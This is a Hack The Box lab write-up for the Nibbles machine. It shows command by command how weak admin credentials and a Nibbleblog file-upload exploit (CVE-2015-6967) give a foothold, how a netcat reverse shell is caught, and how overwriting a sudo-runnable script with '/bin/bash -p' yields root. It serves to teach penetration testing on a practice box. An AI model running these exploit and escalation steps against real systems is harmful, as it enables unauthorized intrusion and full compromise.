root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat nibbles.md
// writeups

Nibbles

13 Jan 2018 · 11 min read
Nibbles - maquina de Hack The Box

Executive summary — Nibbles is an Easy Linux box teaching a full but approachable chain: a hidden Nibbleblog is discovered, entered with weak credentials (admin:nibbles), and exploited via an arbitrary file upload (CVE-2015-6967) for RCE; then as nibbler, a script runnable via sudo and editable by us yields root. A web → CMS → RCE → sudo → root path. Not a technically hard box, but proof that a chain of small mistakes is enough to fully compromise a system.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.96.84

Attack map

[80] gobuster → /nibbleblog  (Nibbleblog CMS)
   │  admin.php · weak credentials (admin:nibbles)
   │  CVE-2015-6967 — arbitrary file upload («My image» plugin) → RCE
   ▼
[SHELL]  nibbler  (user.txt)
   │  sudo -l → NOPASSWD monitor.sh (packed inside personal.zip, writable by nibbler)
   ▼
[ROOT]  echo "/bin/bash -p" > monitor.sh  →  sudo ./monitor.sh

1. Reconnaissance

As with any box, the first step is identifying the attack surface before trying anything:

nmap -sC -sV -p- 10.129.96.84

-sC runs Nmap's default scripts (they usually give useful info with zero extra setup), -sV detects service versions, and -p- scans all 65535 TCP ports, not just the common ones.

22/tcp  open  ssh
80/tcp  open  http

SSH without credentials is no direct way in, though it may matter later (e.g. if we get a key). Port 80 gives us a web surface that almost always deserves deep enumeration, so that's the logical next focus.

2. Web enumeration

We visit the homepage looking for clues: application name, source comments, hidden links, forms, interesting paths, or patterns pointing at a known CMS or framework.

http://10.129.96.84

The homepage showed little at first glance. That doesn't mean there's nothing there — it means we need to force directory enumeration.

gobuster dir -u http://10.129.96.84 -w /usr/share/wordlists/dirb/common.txt
/nibbleblog

Key finding: /nibbleblog tells us there's a CMS (Nibbleblog). That opens several angles at once: there may be an admin panel, default or weak credentials, and known vulnerable versions. From here, all enumeration focuses on /nibbleblog.

3. Admin panel and weak credentials

PHP applications usually have admin routes at predictable paths. We try admin.php:

http://10.129.96.84/nibbleblog/admin.php

A login form appears. Finding an authenticated panel changes the scenario: we're no longer just enumerating a public web app, there's now a zone that could hold administrative functions with real impact. Before reaching for brute force, we try logical credentials:

admin : nibbles

The reasoning: admin is the most common username for admin panels, and a password derived from the app's own name (Nibbleblog → nibbles) is a realistic bet — it happens often in CTFs and in misconfigured real environments too. Not a CVE: a bad practice (predictable credentials). Once in, we no longer need to break the app from outside: it's time to see which authenticated features could turn into code execution.

4. RCE via automated exploit — CVE-2015-6967

Nibbleblog 4.0.3 is vulnerable to CVE-2015-6967: the «My image» plugin allows uploading an arbitrary file (a .php) without validating the type, giving code execution. Instead of uploading the file manually from the panel, we use a public, ready-made exploit (nibbleblog_4.0.3.py) that automates login + interaction with the vulnerable feature + upload/execution. The upside is speed; the downside is that if you don't understand its syntax, you can get stuck on a typo instead of on the box itself.

And that's exactly what happened. The first attempt failed from typing python 3 (with a space) instead of python3: Python interprets the 3 as a filename argument:

can't open file ... /3

The second issue was a stray space in the password flag (- p nibbles instead of -p nibbles), and the third was firing -rce with no argument:

argument -rce: expected one argument

-rce needs the remote command as an argument (-rce "whoami"). These are syntax mistakes, not the box's fault — it's worth reading the exploit's own error message before assuming something is broken.

With the syntax fixed, the exploit call looks like this:

python3 nibbleblog_4.0.3.py -t http://10.129.96.84/nibbleblog/ -u admin -p nibbles -rce "whoami"

Good practice: before going for a reverse shell, run a simple command (whoami, id, pwd) to confirm execution without getting into connection issues or unstable shells yet.

5. Reverse shell

With command execution confirmed, we set up an interactive shell: a listener on the attacking box and a payload that makes the victim connect back.

nc -lvnp 4444

-l listens, -v is verbose mode to see the connection, -n skips name resolution, and -p 4444 sets the port. After firing the exploit, the listener catches the connection:

connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.96.84] 49108
sh: 0: can't access tty; job control turned off

The can't access tty; job control turned off warning is completely typical for basic reverse shells: it doesn't mean it failed, just that the shell doesn't have a full interactive terminal yet.

whoami
nibbler

We're no longer working against the web app alone: we have an OS shell under the nibbler user. Listing the current directory:

ls
ls -la
db.xml
image.php
rse.php

Mind the directory: those files belong to the exploited plugin, not the user's home. That's why cat user.txt fails at first with No such file or directory — it's not a permissions issue or a missing flag, we're simply in the wrong directory. A reverse shell from a web exploit drops you in the app directory, not $HOME: locate yourself before hunting flags.

6. User flag

cd /home
ls
nibbler
cd nibbler
ls
personal.zip
user.txt
cat user.txt
9371d7b6873002bc2fc16ee1d424ca49

With the user flag read, the access phase is done; from here the goal is purely privilege escalation.

7. Privilege escalation

One of the most profitable commands right after getting a system shell is checking what we can run with sudo:

sudo -l
User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

We can run monitor.sh as root, no password. If we also control that script's content, root will execute whatever we want. But the indicated path doesn't visibly exist yet:

cd /home/nibbler/personal/stuff
can't cd to /home/nibbler/personal/stuff

This doesn't invalidate the escalation path: it just means the personal/ folder isn't deployed as a plain directory. We recall the personal.zip seen in the home — the script is packed inside it:

cd /home/nibbler
unzip personal.zip
personal/
personal/stuff/
personal/stuff/monitor.sh

Now the exact same file sudo -l named as root-runnable physically exists. Only one step remains for the escalation.

Before continuing, we upgrade the basic Netcat shell into something more usable (fewer issues with sudo and the terminal):

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

We now know two things: monitor.sh runs as root via sudo, and nibbler can modify it. The strategy is to overwrite its content with something that hands us a privileged shell:

cd personal/stuff
echo "/bin/bash -p" > monitor.sh
chmod +x monitor.sh

Bash's -p flag is the key here: it makes the shell preserve the elevated privileges it's launched with, instead of dropping to the real UID of the invoking user.

And we run it via sudo:

sudo ./monitor.sh
whoami
root

8. Root flag

cat /root/root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdNibbleblog admin panelWeak, predictable credentials (admin:nibbles)Authenticated CMS access
FootholdNibbleblog «My image» pluginCVE-2015-6967 — arbitrary file upload with no type validationRCE as nibbler
PrivEscsudo + own scriptUser-editable script (monitor.sh) runnable as root (NOPASSWD)Root

Lessons learned

  • You don't always need a big vulnerability. Here initial access came in part from a simple bad practice: weak, predictable credentials.
  • Understanding the exploit matters more than just running it. An automated script saves time, but if you don't get its syntax, any typo (a stray space, a flag missing its argument) blocks you just as hard as a real box issue would.
  • A reverse shell from a web exploit drops you in the app directory, not $HOME: locate yourself before hunting flags.
  • sudo -l is still one of the most profitable commands after a shell: it can reveal the path to root in seconds.
  • A missing path doesn't mean the vector is dead. Here the script named by sudo was hidden inside an unextracted ZIP.
  • Never grant sudo NOPASSWD over a script the user can edit: it's a root shell in disguise.